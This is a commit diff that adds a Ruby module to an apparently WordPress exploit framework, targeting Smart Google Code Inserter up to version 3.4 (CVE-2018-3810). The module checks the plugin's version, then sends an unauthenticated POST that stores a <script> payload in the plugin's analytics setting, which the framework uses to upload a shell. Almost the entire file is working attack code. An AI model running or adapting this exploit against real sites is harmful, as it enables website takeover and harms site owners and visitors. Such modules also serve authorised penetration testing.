Add Smart Google Code Inserter <= 3.4 stored XSS shell upload

Author: rastating

modules/exploit/xss/stored/smart_google_code_inserter_xss_shell_upload.rb

@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::SmartGoogleCodeInserterXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StoredXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Smart Google Code Inserter <= 3.4 Unauthenticated Stored XSS Shell Upload',
+      author: [
+        'Benjamin Lim', # Disclosure
+        'rastating'     # WPXF module
+      ],
+      references: [
+        ['CVE', '2018-3810'],
+        ['WPVDB', '8987']
+      ],
+      date: 'Jan 01 2018'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('smart-google-code-inserter', '3.5')
+  end
+
+  def store_script
+    execute_post_request(
+      url: normalize_uri(wordpress_url_admin, 'options-general.php'),
+      params: { 'page' => 'smartcode' },
+      body: {
+        'sgcgoogleanalytic' => "<script>#{xss_include_script}</script>",
+        'sgcwebtools' => '',
+        'button' => 'Save Changes',
+        'action' => 'savegooglecode'
+      }
+    )
+  end
+end